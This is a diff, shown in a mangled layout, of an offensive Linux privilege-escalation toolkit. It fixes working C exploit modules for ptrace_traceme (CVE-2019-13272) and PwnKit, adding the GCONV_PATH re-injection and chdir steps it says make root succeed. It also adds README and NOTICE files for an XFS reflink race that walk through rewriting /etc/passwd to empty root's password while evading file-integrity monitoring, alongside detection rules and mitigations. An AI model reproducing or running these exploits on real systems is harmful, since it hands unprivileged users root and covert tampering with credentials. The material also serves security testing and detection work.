||||||
|
if (ptrace_last_proof[0]) unlink(ptrace_last_proof);
|
||||||
|
if (ptrace_last_rootbash[0]) unlink(ptrace_last_rootbash);
|
||||||
#endif
|
#endif
|
||||||
|
return SKELETONKEY_OK;
|
||||||
}
|
}
|
||||||
|
|
||||||
#else /* !__linux__ */
|
#else /* !__linux__ */
|
||||||
|
|
||||||
/* Non-Linux dev builds: PTRACE_TRACEME / PTRACE_ATTACH / user_regs_struct
|
/* Non-Linux dev builds: PTRACE_TRACEME / execveat / user_regs_struct are
|
||||||
* are Linux-only ABI surface. Stub out so the module still registers and
|
* Linux-only ABI surface. Stub out so the module still registers and the
|
||||||
* the top-level `make` completes on macOS/BSD dev boxes. */
|
* top-level `make` completes on macOS/BSD dev boxes. */
|
||||||
static skeletonkey_result_t ptrace_traceme_detect(const struct skeletonkey_ctx *ctx)
|
static skeletonkey_result_t ptrace_traceme_detect(const struct skeletonkey_ctx *ctx)
|
||||||
{
|
{
|
||||||
if (!ctx->json)
|
if (!ctx->json)
|
||||||
@@ -307,6 +369,11 @@ static skeletonkey_result_t ptrace_traceme_exploit(const struct skeletonkey_ctx
|
|||||||
fprintf(stderr, "[-] ptrace_traceme: Linux-only module — cannot run here\n");
|
fprintf(stderr, "[-] ptrace_traceme: Linux-only module — cannot run here\n");
|
||||||
return SKELETONKEY_PRECOND_FAIL;
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
}
|
}
|
||||||
|
static skeletonkey_result_t ptrace_traceme_cleanup(const struct skeletonkey_ctx *ctx)
|
||||||
|
{
|
||||||
|
(void)ctx;
|
||||||
|
return SKELETONKEY_OK;
|
||||||
|
}
|
||||||
|
|
||||||
#endif /* __linux__ */
|
#endif /* __linux__ */
|
||||||
|
|
||||||
@@ -356,19 +423,19 @@ static const char ptrace_traceme_falco[] =
|
|||||||
const struct skeletonkey_module ptrace_traceme_module = {
|
const struct skeletonkey_module ptrace_traceme_module = {
|
||||||
.name = "ptrace_traceme",
|
.name = "ptrace_traceme",
|
||||||
.cve = "CVE-2019-13272",
|
.cve = "CVE-2019-13272",
|
||||||
.summary = "PTRACE_TRACEME → setuid binary execve → cred-escalation via ptrace inject",
|
.summary = "PTRACE_TRACEME + setuid execve → non-degraded root in the traced child (pkexec helper)",
|
||||||
.family = "ptrace_traceme",
|
.family = "ptrace_traceme",
|
||||||
.kernel_range = "K < 5.1.17, backports: 5.0.20 / 4.19.58 / 4.14.131 / 4.9.182 / 4.4.182",
|
.kernel_range = "K < 5.1.17, backports: 5.0.20 / 4.19.58 / 4.14.131 / 4.9.182 / 4.4.182",
|
||||||
.detect = ptrace_traceme_detect,
|
.detect = ptrace_traceme_detect,
|
||||||
.exploit = ptrace_traceme_exploit,
|
.exploit = ptrace_traceme_exploit,
|
||||||
.mitigate = NULL, /* mitigation: upgrade kernel; OR sysctl kernel.yama.ptrace_scope=2 */
|
.mitigate = NULL, /* mitigation: upgrade kernel; OR sysctl kernel.yama.ptrace_scope=2 */
|
||||||
.cleanup = NULL, /* exploit replaces our process image; no cleanup applies */
|
.cleanup = ptrace_traceme_cleanup,
|
||||||
.detect_auditd = ptrace_traceme_auditd,
|
.detect_auditd = ptrace_traceme_auditd,
|
||||||
.detect_sigma = ptrace_traceme_sigma,
|
.detect_sigma = ptrace_traceme_sigma,
|
||||||
.detect_yara = NULL,
|
.detect_yara = NULL,
|
||||||
.detect_falco = ptrace_traceme_falco,
|
.detect_falco = ptrace_traceme_falco,
|
||||||
.opsec_notes = "Parent and child cooperate: child calls ptrace(PTRACE_TRACEME) (recording the parent's current credentials), then sleeps; parent execve's a setuid binary (pkexec or su) and elevates. The stale ptrace_link in the child still holds the old (non-root) credentials, so PTRACE_ATTACH succeeds against the now-root parent; the child injects shellcode at the parent's RIP via PTRACE_POKETEXT and detaches. Audit-visible via ptrace with a0=0 (PTRACE_TRACEME) closely followed by execve of a setuid binary in the parent process. No file artifacts; no persistent changes. No cleanup callback - the exploit execs /bin/sh and does not return.",
|
.opsec_notes = "The exploit builds a small helper on the target (needs cc/gcc) and drives pkexec against an auto-discovered polkit helper (implicit-active=yes). Audit-visible via ptrace with a0=0 (PTRACE_TRACEME) closely followed by execve of a setuid binary, plus pkexec spawning an unusual helper with --help. Requires an active local session (or a polkit agent) to authorize pkexec — over inactive ssh sessions pkexec returns \"Not authorized\" and the module reports EXPLOIT_FAIL. Artifacts: a root-owned proof file and a setuid-root bash under /tmp (removed by cleanup()); the helper .c/binary are compiled and unlinked during the run. yama ptrace_scope>=2 or SELinux deny_ptrace defeat it.",
|
||||||
.arch_support = "x86_64+unverified-arm64",
|
.arch_support = "x86_64",
|
||||||
};
|
};
|
||||||
|
|
||||||
void skeletonkey_register_ptrace_traceme(void)
|
void skeletonkey_register_ptrace_traceme(void)
|
||||||
|
|||||||
@@ -314,32 +314,61 @@ static skeletonkey_result_t pwnkit_exploit(const struct skeletonkey_ctx *ctx)
|
|||||||
goto fail;
|
goto fail;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/* 4b. The re-injection directory. This is the piece that makes the
|
||||||
|
* GCONV_PATH trick actually fire, and the classic bug when it's
|
||||||
|
* omitted (pkexec prints "Cannot run program pwnkit" and glibc
|
||||||
|
* "Could not open converter ... to PWNKIT", and NO root is obtained).
|
||||||
|
*
|
||||||
|
* With argc==0, pkexec reads envp[0] ("pwnkit") as the program path
|
||||||
|
* and, since it isn't absolute, resolves it via PATH. We set
|
||||||
|
* PATH=GCONV_PATH=. so pkexec searches a directory literally named
|
||||||
|
* "GCONV_PATH=." for an executable "pwnkit"; when it finds
|
||||||
|
* "GCONV_PATH=./pwnkit" it writes that string back over envp[0],
|
||||||
|
* thereby RE-INJECTING GCONV_PATH=./pwnkit into the (already
|
||||||
|
* sanitised) environment. pkexec then emits an error whose message
|
||||||
|
* glibc converts via the PWNKIT charset, dlopen()ing ./pwnkit/PWNKIT.so
|
||||||
|
* as root. So we need (a) the "GCONV_PATH=." dir + executable "pwnkit",
|
||||||
|
* and (b) CWD == workdir so "./pwnkit" resolves to sodir. */
|
||||||
|
char injdir[1024];
|
||||||
|
snprintf(injdir, sizeof injdir, "%s/GCONV_PATH=.", workdir);
|
||||||
|
if (mkdir(injdir, 0755) < 0 && errno != EEXIST) {
|
||||||
|
perror("mkdir GCONV_PATH=."); goto fail;
|
||||||
|
}
|
||||||
|
char injexe[2048];
|
||||||
|
snprintf(injexe, sizeof injexe, "%s/pwnkit", injdir);
|
||||||
|
/* Content is irrelevant — it never actually runs; the payload fires during
|
||||||
|
* pkexec's error-message conversion before any exec of this file. It only
|
||||||
|
* has to exist and be executable so g_find_program_in_path() locates it. */
|
||||||
|
if (!write_file_str(injexe, "#!/bin/sh\n:\n")) {
|
||||||
|
fprintf(stderr, "[-] pwnkit: write inject exe failed\n"); goto fail;
|
||||||
|
}
|
||||||
|
chmod(injexe, 0755);
|
||||||
|
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[*] pwnkit: payload built; constructing argv=NULL + crafted envp\n");
|
fprintf(stderr, "[*] pwnkit: payload built; constructing argv=NULL + crafted envp\n");
|
||||||
}
|
}
|
||||||
|
|
||||||
/* 5. Construct the argv-overflow trick. The env vars become argv
|
/* 5. Construct the argv-overflow trick (see 4b for the mechanism).
|
||||||
* via the bug; pkexec parses the first as argv[0] which it
|
* Reference: Qualys' PWNKIT writeup + Berdav's PoC layout. */
|
||||||
* then uses to find the binary to re-exec. By naming
|
|
||||||
* 'GCONV_PATH=.' as argv[0], pkexec ends up in our tmpdir
|
|
||||||
* with CHARSET=PWNKIT, libc's iconv loads PWNKIT.so as root.
|
|
||||||
*
|
|
||||||
* Reference: Qualys' PWNKIT writeup. */
|
|
||||||
char *new_argv[] = { NULL }; /* argc == 0 — the bug */
|
char *new_argv[] = { NULL }; /* argc == 0 — the bug */
|
||||||
char gconv_env[1024];
|
|
||||||
snprintf(gconv_env, sizeof gconv_env, "GCONV_PATH=%s/pwnkit", workdir);
|
|
||||||
char *envp[] = {
|
char *envp[] = {
|
||||||
"pwnkit", /* becomes argv[0] via overflow */
|
"pwnkit", /* becomes argv[0]=path via the overflow */
|
||||||
"PATH=GCONV_PATH=.", /* pkexec parses this as PATH */
|
"PATH=GCONV_PATH=.", /* pkexec re-injects GCONV_PATH=./pwnkit */
|
||||||
"CHARSET=PWNKIT",
|
"CHARSET=PWNKIT",
|
||||||
"SHELL=pwnkit",
|
"SHELL=pwnkit",
|
||||||
gconv_env,
|
|
||||||
NULL,
|
NULL,
|
||||||
};
|
};
|
||||||
/* tighten workdir perms so pkexec (root) can traverse */
|
/* tighten workdir perms so pkexec (root) can traverse */
|
||||||
chmod(workdir, 0755);
|
chmod(workdir, 0755);
|
||||||
chmod(sodir, 0755);
|
chmod(sodir, 0755);
|
||||||
|
|
||||||
|
/* CWD must be the workdir so the re-injected GCONV_PATH=./pwnkit resolves
|
||||||
|
* to workdir/pwnkit/{gconv-modules,PWNKIT.so}. Without this the converter
|
||||||
|
* is never found and no root is obtained. */
|
||||||
|
if (chdir(workdir) != 0) {
|
||||||
|
perror("chdir workdir"); goto fail;
|
||||||
|
}
|
||||||
|
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[+] pwnkit: execve(%s) with argc=0 — going for root\n", pkexec);
|
fprintf(stderr, "[+] pwnkit: execve(%s) with argc=0 — going for root\n", pkexec);
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -0,0 +1,287 @@
|
|||||||
|
# refluxfs — CVE-2026-64600
|
||||||
|
|
||||||
|
"RefluXFS" — a time-of-check/time-of-use race in the XFS **reflink
|
||||||
|
copy-on-write** path that lets **any unprivileged local user overwrite the
|
||||||
|
on-disk contents of any file they can read**, on any XFS volume mounted with
|
||||||
|
`reflink=1` that they can write to. No user namespace, no capability, no crafted
|
||||||
|
filesystem image, no kernel offsets. It has been present since reflink direct-I/O
|
||||||
|
CoW landed in **4.11 (2017)** — a nine-year window.
|
||||||
|
|
||||||
|
This is the corpus's first XFS module, and its first **data-oriented** kernel
|
||||||
|
bug: the primitive is an arbitrary *file content* overwrite, not memory
|
||||||
|
corruption.
|
||||||
|
|
||||||
|
> **🟢 Full chain (`--full-chain`), VM-verified end-to-end.**
|
||||||
|
> `skeletonkey --exploit refluxfs --i-know --full-chain` lands root: it
|
||||||
|
> reflink-clones `/etc/passwd`, races the CoW window, strips root's password
|
||||||
|
> field on disk (`root:x:` → `root::`), evicts the stale page cache, and
|
||||||
|
> returns `EXPLOIT_OK`; `su root` (empty password) then gives uid 0. **Without**
|
||||||
|
> `--full-chain` the module runs a safe reachability trigger only, confined to
|
||||||
|
> files the caller owns. See "Full-chain verification" below.
|
||||||
|
|
||||||
|
## The bug
|
||||||
|
|
||||||
|
`xfs_direct_write_iomap_begin()` (`fs/xfs/xfs_iomap.c`) reads the data-fork
|
||||||
|
extent map under `ILOCK`. To allocate a transaction it must wait for log space,
|
||||||
|
so `xfs_reflink_fill_cow_hole()` (`fs/xfs/xfs_reflink.c`) **drops `ILOCK`**. On
|
||||||
|
re-acquiring it, the code re-queries the refcount btree at the **original**
|
||||||
|
physical block number (`imap->br_startblock`) — and **never re-reads the data
|
||||||
|
fork**.
|
||||||
|
|
||||||
|
A second `O_DIRECT` writer, holding only the coarser `IOLOCK`, can complete an
|
||||||
|
entire CoW cycle inside that window: allocate block Y, write it, and remap via
|
||||||
|
`xfs_reflink_end_cow()`. The first writer's `imap` now points at a block owned
|
||||||
|
solely by the reflink **source**. Its stale refcount lookup returns `1`, it
|
||||||
|
concludes the block is private, and writes to it in place — landing attacker
|
||||||
|
data on the source file's on-disk blocks.
|
||||||
|
|
||||||
|
Three consequences follow, and they drive the whole module design:
|
||||||
|
|
||||||
|
1. **No offsets, no ROP, no KASLR/SMEP/SMAP.** There is nothing to port per
|
||||||
|
kernel build. Qualys is explicit that SELinux enforcing, container
|
||||||
|
boundaries and seccomp are equally irrelevant.
|
||||||
|
2. **The victim's inode is never written.** The data is applied to the shared
|
||||||
|
physical block *underneath* it, so `mtime`/`ctime`/size do not change and
|
||||||
|
there is no kernel log output. **File-integrity monitoring does not fire.**
|
||||||
|
3. **It persists across reboots**, because the change is on disk.
|
||||||
|
|
||||||
|
The public demonstration (RHEL 10.2) reflink-clones `/etc/passwd` into
|
||||||
|
`/var/tmp`, races concurrent direct-I/O writes against the clone, thereby
|
||||||
|
rewriting `/etc/passwd` itself to strip root's password, and runs `su`.
|
||||||
|
|
||||||
|
## Affected range
|
||||||
|
|
||||||
|
| | |
|
||||||
|
|---|---|
|
||||||
|
| Introduced | **4.11** (2017-02, commit `3c68d44a2b49`, "xfs: allocate direct I/O COW blocks in iomap_begin") |
|
||||||
|
| Fixed upstream | commit `2f4acd0fcd86` ("xfs: resample the data fork mapping after cycling ILOCK") — merged **2026-07-16**, released **7.2-rc4** |
|
||||||
|
| Stable backports | **7.1.4** (`e705d81a7193`) · **6.18.39** (`206c09b04dc5`) · **6.12.96** (`44f891bc0889`) |
|
||||||
|
| Affected, no upstream fix | 6.6 / 6.1 / 5.15 / 5.14 / 5.10 / 4.19 / 4.18 LTS lines (per the CNA record at time of writing) |
|
||||||
|
| Not affected | < 4.11 — includes RHEL/CentOS **7** (3.10 predates reflink) |
|
||||||
|
| NVD class | CWE-362 (race) → CWE-367 (TOCTOU). NVD had published **no CWE and no CVSS vector** at time of writing |
|
||||||
|
| CISA KEV | no (disclosed 2026-07-22) |
|
||||||
|
|
||||||
|
**The exposure is distro-shaped, not kernel-shaped.** What matters is whether
|
||||||
|
XFS+reflink is the installer default:
|
||||||
|
|
||||||
|
| Exploitable out of the box | Not reachable by default |
|
||||||
|
|---|---|
|
||||||
|
| RHEL 8/9/10 · CentOS Stream 8/9/10 · Rocky/AlmaLinux 8/9/10 · Oracle Linux 8/9/10 (RHCK + UEK R6/R7/8) · CloudLinux 8/9/10 · Fedora Server ≥ 31 · Amazon Linux 2023 (and AL2 AMIs from 2022-12) | Debian · Ubuntu · Fedora Workstation · SLES · openSUSE · Arch (ext4/btrfs defaults — unless an XFS volume was added deliberately) |
|
||||||
|
|
||||||
|
### ⚠️ The version gate has a real blind spot here
|
||||||
|
|
||||||
|
The affected population is overwhelmingly **RHEL-family**, and those vendors
|
||||||
|
backport fixes **without bumping the upstream base version** — a patched RHEL 8
|
||||||
|
kernel still reports `4.18.0-xxx.el8`. An upstream-version gate cannot see that.
|
||||||
|
|
||||||
|
So on rpm-family hosts, a `VULNERABLE` verdict is a statement about the
|
||||||
|
**upstream base version only**. `detect()` prints that warning explicitly rather
|
||||||
|
than implying it checked the erratum. Confirm against the vendor advisory
|
||||||
|
(RHSA / ELSA / ALSA / RLSA) before acting on it.
|
||||||
|
|
||||||
|
## Trigger / detection
|
||||||
|
|
||||||
|
Unlike a pure kernel race, this bug's reachability **can** be established safely
|
||||||
|
and deterministically, so `detect()` is a version gate **plus a real
|
||||||
|
precondition probe**:
|
||||||
|
|
||||||
|
- **Passive** — is there a writable directory on a mounted XFS filesystem?
|
||||||
|
Identified via `statfs(2)` `f_type == XFS_SUPER_MAGIC`, **not** by a
|
||||||
|
successful `FICLONE`, because btrfs implements `FICLONE` too and is
|
||||||
|
unaffected. No such directory → `PRECOND_FAIL`, the correct verdict on a
|
||||||
|
stock Debian/Ubuntu host.
|
||||||
|
- **Active** (`--active` / `--auto`) — confirms `reflink=1` empirically by
|
||||||
|
cloning and removing two 4 KiB files, rather than assuming the `mkfs.xfs`
|
||||||
|
default. `reflink=0` → no shared extents can exist → `PRECOND_FAIL`.
|
||||||
|
- **Override** — `SKELETONKEY_XFS_ASSUME_REFLINK=1` (force reachable) / `0`
|
||||||
|
(force unreachable), for when you know the fleet's storage layout better than
|
||||||
|
a local probe can. This also drives the unit tests.
|
||||||
|
|
||||||
|
### `--full-chain` — the real `/etc/passwd` root pop
|
||||||
|
|
||||||
|
With `--full-chain`, `exploit()` performs the actual privilege escalation:
|
||||||
|
|
||||||
|
1. **Pre-flight, before touching anything.** Confirms the target
|
||||||
|
(`/etc/passwd`, or `$SKELETONKEY_REFLUXFS_TARGET`) is root-owned and fits in
|
||||||
|
one block, and **crafts the payload first** — the original file with root's
|
||||||
|
password field emptied (`root:x:` → `root::`), **every other line preserved
|
||||||
|
byte-for-byte**, padded with newlines to the exact original size. If it
|
||||||
|
cannot produce a payload that keeps both root and the invoking user's line,
|
||||||
|
it refuses and touches nothing. (A naive port that truncates the tail drops
|
||||||
|
`sshd`/`nobody`/the caller and bricks login — this is the single most
|
||||||
|
important safety property of the implementation.)
|
||||||
|
2. **Backup.** Copies the target aside so failure or `cleanup()` can restore it.
|
||||||
|
3. **Race.** 32 writers push the crafted block at a reflink-clone of the target
|
||||||
|
while 8 helpers churn `ftruncate`/`fdatasync`, up to a 90 s budget. A won
|
||||||
|
race lands the crafted block on the target's still-shared physical block.
|
||||||
|
4. **Cache eviction.** The overwrite bypasses the target inode, so its clean
|
||||||
|
page-cache pages are never invalidated — a `su` immediately after would read
|
||||||
|
the *stale* old passwd. The module issues `POSIX_FADV_DONTNEED` (needs only
|
||||||
|
an `O_RDONLY` fd) so subsequent buffered readers see the new bytes.
|
||||||
|
5. **Verify (via `O_DIRECT`, not the cache) and report.** Confirms the on-disk
|
||||||
|
root line is now `root::`; if the write was torn, it restores from backup and
|
||||||
|
fails. On success returns `EXPLOIT_OK` and prints `su root` (empty password).
|
||||||
|
|
||||||
|
`cleanup()` (run as root after the pop) restores `/etc/passwd` from the backup.
|
||||||
|
The overwrite is persistent and survives reboot, so restoring matters.
|
||||||
|
|
||||||
|
#### The private-extent precondition (not in the public writeup)
|
||||||
|
|
||||||
|
The race only fires when the target's extent refcount is **exactly** the
|
||||||
|
attacker-clone pair — i.e. the target's extent must be **private** going in. The
|
||||||
|
mechanism: the block starts at refcount 2 (target + attacker clone), the
|
||||||
|
concurrent CoW drops it to 1, and the stale writer then reads "1 → private". If
|
||||||
|
the target is *already* reflink-shared with a third file, the post-CoW refcount
|
||||||
|
stays > 1, the writer correctly does CoW, and nothing corrupts.
|
||||||
|
|
||||||
|
This was found during verification: the stock Rocky 9 cloud image ships
|
||||||
|
`/etc/passwd` **pre-shared** (its block had refcount > 1 in the base image), and
|
||||||
|
the attack failed against it across ~41 000 rounds. Rewriting the file so its
|
||||||
|
extent became private — with byte-identical content, exactly what any
|
||||||
|
`useradd`/`passwd`/`vipw` does — made it fall in ~2 000 rounds. So the
|
||||||
|
exploitable state is the *normal* administered state; the cloud image was
|
||||||
|
accidentally protected by how it was built. `detect() --active` reports the
|
||||||
|
target's extent state (`filefrag -v /etc/passwd | grep shared` checks it by
|
||||||
|
hand), and the full chain warns when the target is pre-shared.
|
||||||
|
|
||||||
|
### `--full-chain` verification (2026-07-23, Rocky 9.8)
|
||||||
|
|
||||||
|
On `5.14.0-687.10.1.el9_8.0.1.x86_64`, unprivileged `uid=1000`, SELinux
|
||||||
|
**Enforcing**, against a private-extent `/etc/passwd`:
|
||||||
|
|
||||||
|
| | |
|
||||||
|
|---|---|
|
||||||
|
| `--exploit refluxfs --i-know --full-chain` | **`EXPLOIT_OK`**, 3/3 wins (1244 / 3716 / 7913 rounds, 4–30 s) |
|
||||||
|
| `su root` (empty password) afterwards | **`uid=0(root)`** |
|
||||||
|
| Accounts preserved | all 25 lines; `root`/`sk`/`sshd`/`nobody` intact |
|
||||||
|
| `/etc/passwd` metadata after overwrite | size/inode/**mtime/ctime unchanged**, only content — FIM-invisible |
|
||||||
|
| `cleanup` (as root) | restored `/etc/passwd` from backup, removed backup |
|
||||||
|
| Plain `--exploit` (no `--full-chain`) | safe trigger, `EXPLOIT_FAIL`, target untouched |
|
||||||
|
| Pre-shared `/etc/passwd` | not attackable (~41 000 rounds, no win) — as predicted |
|
||||||
|
|
||||||
|
### The safe default trigger
|
||||||
|
|
||||||
|
Without `--full-chain`, `exploit()` forks an isolated child that creates a
|
||||||
|
private `mkdtemp` scratch directory on the XFS mount and works **only on two
|
||||||
|
files it owns**:
|
||||||
|
|
||||||
|
- **(A) deterministic + safe** — writes a donor file, `FICLONE`-clones it, and
|
||||||
|
confirms via **`FIEMAP_EXTENT_SHARED`** that the clone's extent really is
|
||||||
|
shared (refcount > 1), plus that `O_DIRECT` opens succeed. That is a
|
||||||
|
read-only observation that the exact filesystem state the bug misjudges
|
||||||
|
exists here. Reflink cloning is an ordinary supported operation, so this
|
||||||
|
phase is safe on any kernel.
|
||||||
|
- **(B) hard-bounded window exercise** — races **8** concurrent `O_DIRECT`
|
||||||
|
4 KiB writes against the clone while **2** helper threads cycle
|
||||||
|
`ftruncate`/`fdatasync` to keep the transaction allocator dropping `ILOCK` to
|
||||||
|
wait for log space, for at most **16 rounds / 2 s**. Then it stops and reads
|
||||||
|
the donor back **with `O_DIRECT`** — a buffered read would be served from the
|
||||||
|
page cache that the corruption bypasses, and would hide a win.
|
||||||
|
|
||||||
|
This default path is **deliberately under-driven** (the public PoC and the
|
||||||
|
`--full-chain` path use 32 writers and 8 helpers) and **never clones or targets
|
||||||
|
a file it does not own** — the destructive `/etc/passwd` overwrite lives only
|
||||||
|
behind `--full-chain` (above). The default `exploit()` always returns
|
||||||
|
`EXPLOIT_FAIL`.
|
||||||
|
|
||||||
|
If the race *is* won on the safe path, the module says so loudly: that is
|
||||||
|
CVE-2026-64600 confirmed present, empirically, with the damage contained to
|
||||||
|
4 KiB of the operator's own scratch file.
|
||||||
|
|
||||||
|
## VM verification (2026-07-23)
|
||||||
|
|
||||||
|
Confirmed on **Rocky Linux 9.8 / `5.14.0-687.10.1.el9_8.0.1.x86_64`** under
|
||||||
|
qemu/KVM with 6 vCPUs — the stock GenericCloud installer layout, root on
|
||||||
|
`/dev/vda4` XFS with `reflink=1`, no provisioner changes:
|
||||||
|
|
||||||
|
| Check | Result |
|
||||||
|
|---|---|
|
||||||
|
| `detect()` on real XFS | **VULNERABLE** (found writable XFS at `/var/tmp`) |
|
||||||
|
| rpm-family backport caveat | fired correctly |
|
||||||
|
| `--active` FICLONE witness | **reflink CONFIRMED** |
|
||||||
|
| Phase A shared extent | **`FIEMAP_EXTENT_SHARED` set** (btrfs never reported it; XFS does) |
|
||||||
|
| Phase A `O_DIRECT` gate | available |
|
||||||
|
| Shipped trigger (8 writers / 2 helpers / 2 s) | ran 16 rounds, **did not win** — *by design* |
|
||||||
|
| Scratch cleanup | no artifacts left |
|
||||||
|
| Build on el9 gcc | clean |
|
||||||
|
|
||||||
|
**The underlying bug was separately confirmed winnable on that kernel.** The
|
||||||
|
`--full-chain` run above is the definitive proof — the same reflink-CoW race
|
||||||
|
rewrote `/etc/passwd` and landed root **3/3** (1244 / 3716 / 7913 rounds). An
|
||||||
|
earlier *non-destructive* measurement, driven at the public PoC's parameters
|
||||||
|
(32 writers / 8 helpers, 60 s) but confined to two files the test user owned,
|
||||||
|
won **4/4** (first divergence after **69, 114, 170 and 494 rounds**): a racing
|
||||||
|
`O_DIRECT` write landing on a still-shared block and rewriting the donor's
|
||||||
|
on-disk bytes — the arbitrary-overwrite primitive, observed directly, contained
|
||||||
|
entirely to attacker-owned files.
|
||||||
|
|
||||||
|
Note carefully what this does and does not say. The shipped trigger **not**
|
||||||
|
winning in 2 s on a kernel that is provably vulnerable is exactly the designed
|
||||||
|
behaviour, and is the concrete reason a non-win must **never** be read as
|
||||||
|
"patched" — trust the version gate and the vendor erratum instead.
|
||||||
|
|
||||||
|
### Why this ranks *above* the other reconstructed race triggers
|
||||||
|
|
||||||
|
`bad_epoll` (12) and `ghostlock` (11) sit at the bottom of the `--auto` safety
|
||||||
|
ranking because a won race frees a live `struct file` or corrupts the kernel
|
||||||
|
**stack** — silent destabilisation or near-certain panic. Neither applies here.
|
||||||
|
RefluXFS corrupts **file data, not kernel memory**: there is no oops, no KASAN
|
||||||
|
report, no panic risk, and the blast radius of a win is one 4 KiB scratch file
|
||||||
|
we created and delete. That is why `refluxfs` carries safety rank **55** — it is
|
||||||
|
genuinely safe to run, and the ranking should say so. The VM run above bears
|
||||||
|
this out: the bug was won 4/4 times on a vulnerable kernel with no oops, no
|
||||||
|
dmesg output and no instability.
|
||||||
|
|
||||||
|
## Detection — the obvious rule does not work
|
||||||
|
|
||||||
|
**Do not rely on `-w /etc/passwd -p wa`, AIDE, or Tripwire for this CVE.** The
|
||||||
|
attacker never issues a `write(2)` against the victim inode; XFS applies their
|
||||||
|
data to the shared physical block beneath it. Size, `mtime` and `ctime` are
|
||||||
|
unchanged and nothing is logged. Anyone relying on FIM to catch a `passwd`
|
||||||
|
modification is blind to this bug *by construction*.
|
||||||
|
|
||||||
|
What does work, in descending order of fidelity:
|
||||||
|
|
||||||
|
1. **The reflink itself** — `ioctl(fd, FICLONE, srcfd)` where `FICLONE` is
|
||||||
|
`0x40049409`. auditd can match the request number **exactly**, so it does not
|
||||||
|
flood, and the attack cannot avoid it. Tune out `cp --reflink=auto`, podman
|
||||||
|
and `systemd-nspawn` image work.
|
||||||
|
2. **`O_DIRECT` opens** — `openat` flags `& 0x4000`. Also on the critical path,
|
||||||
|
and rare outside databases and backup agents.
|
||||||
|
3. **Content-vs-metadata drift** — because the bytes change while `mtime` does
|
||||||
|
not, hashing `/etc/passwd`, `/etc/shadow` and the setuid binaries on a
|
||||||
|
schedule and alerting when the *content* hash moves **without** a
|
||||||
|
corresponding `mtime` change is a near-zero-false-positive detector for this
|
||||||
|
whole bug class.
|
||||||
|
|
||||||
|
The shipped rules cover all three: auditd/sigma anchor on the `FICLONE` request
|
||||||
|
number and `O_DIRECT` opens (correlated per-pid, plus the post-exploitation
|
||||||
|
euid-0 transition), falco adds the high-fidelity "reflinked a file owned by
|
||||||
|
another user" condition, and — unusually for a kernel bug — the **yara** rule is
|
||||||
|
genuinely the right tool, matching the on-disk artifact (`/etc/passwd` with a
|
||||||
|
password-less root entry or an added uid-0 account) precisely because there is
|
||||||
|
no metadata trace for FIM to find.
|
||||||
|
|
||||||
|
## Fix / mitigation
|
||||||
|
|
||||||
|
Upgrade the kernel (≥ 7.1.4 / 6.18.39 / 6.12.96 on-branch, or 7.2+; on
|
||||||
|
RHEL-family, the vendor erratum) **and reboot**.
|
||||||
|
|
||||||
|
There is **no partial mitigation**, which is why `mitigate()` is `NULL`:
|
||||||
|
`reflink` is a superblock feature that cannot be disabled on a live filesystem,
|
||||||
|
`O_DIRECT` cannot be turned off, and — because this is a data-oriented bug —
|
||||||
|
SELinux enforcing, container boundaries, KASLR, SMEP, SMAP and seccomp are all
|
||||||
|
irrelevant. Qualys puts it plainly: *"This isn't a vulnerability you can harden
|
||||||
|
around, isolate, or live-patch."*
|
||||||
|
|
||||||
|
`cleanup()` restores `/etc/passwd` from the `--full-chain` backup (run it as
|
||||||
|
root after the pop: `su root`, then `skeletonkey --cleanup refluxfs`), then
|
||||||
|
sweeps any `skeletonkey-refluxfs-*` scratch directories left behind if a run was
|
||||||
|
killed mid-round; normal runs remove their own.
|
||||||
|
|
||||||
|
## Credit
|
||||||
|
|
||||||
|
Discovery and research: **Qualys Threat Research Unit (TRU)**; the blog post is
|
||||||
|
authored by **Saeed Abbasi**, and the technical advisory credits model-assisted
|
||||||
|
kernel analysis performed with **Anthropic**. Upstream fix `2f4acd0fcd86`. See
|
||||||
|
`NOTICE.md`.
|
||||||
@@ -0,0 +1,122 @@
|
|||||||
|
# NOTICE — refluxfs (CVE-2026-64600)
|
||||||
|
|
||||||
|
## Vulnerability
|
||||||
|
|
||||||
|
**CVE-2026-64600** — "RefluXFS", a **time-of-check/time-of-use race** in the
|
||||||
|
Linux kernel's XFS **reflink copy-on-write** path
|
||||||
|
(`fs/xfs/xfs_iomap.c` :: `xfs_direct_write_iomap_begin` →
|
||||||
|
`fs/xfs/xfs_reflink.c` :: `xfs_reflink_allocate_cow` /
|
||||||
|
`xfs_reflink_fill_cow_hole` / `xfs_find_trim_cow_extent`).
|
||||||
|
|
||||||
|
A direct-I/O writer reads the data-fork extent map under `ILOCK`, then drops
|
||||||
|
`ILOCK` to allocate a transaction (waiting for log space). On re-acquiring the
|
||||||
|
lock it re-queries the refcount btree at the **original** physical block number
|
||||||
|
(`imap->br_startblock`) and never re-reads the data fork. A concurrent
|
||||||
|
`O_DIRECT` writer holding only the coarser `IOLOCK` can complete a full CoW
|
||||||
|
cycle in that window (allocate block Y, write, remap via
|
||||||
|
`xfs_reflink_end_cow()`), leaving the first writer's `imap` pointing at a block
|
||||||
|
now owned solely by the reflink **source**. The stale lookup returns refcount
|
||||||
|
`1`, the writer treats the block as private, and writes to it in place.
|
||||||
|
|
||||||
|
The resulting primitive is **not memory corruption**: it is an arbitrary
|
||||||
|
overwrite of the **on-disk contents of any file the attacker can read**, on any
|
||||||
|
reflink-enabled XFS volume they can write to. It needs **no kernel offsets, no
|
||||||
|
ROP, and no KASLR/SMEP/SMAP bypass**, and it is unaffected by SELinux enforcing,
|
||||||
|
container boundaries or seccomp. Because the write is applied to the shared
|
||||||
|
physical block *beneath* the victim inode, the victim's `mtime`/`ctime`/size
|
||||||
|
never change and no kernel log output is produced — **file-integrity monitoring
|
||||||
|
does not detect it** — and the change persists across reboots.
|
||||||
|
|
||||||
|
Reachable by **any unprivileged local user**: no capability, no user namespace,
|
||||||
|
no crafted filesystem image. Preconditions are only an XFS filesystem mounted
|
||||||
|
with `reflink=1` (the `mkfs.xfs` default since xfsprogs 5.1) that the user can
|
||||||
|
write to, plus read access to the target file. NVD class: **CWE-362** (race)
|
||||||
|
yielding **CWE-367** (TOCTOU); NVD had published neither a CWE nor a CVSS vector
|
||||||
|
at time of writing. **Not** in CISA KEV (disclosed 2026-07-22).
|
||||||
|
|
||||||
|
## Research credit
|
||||||
|
|
||||||
|
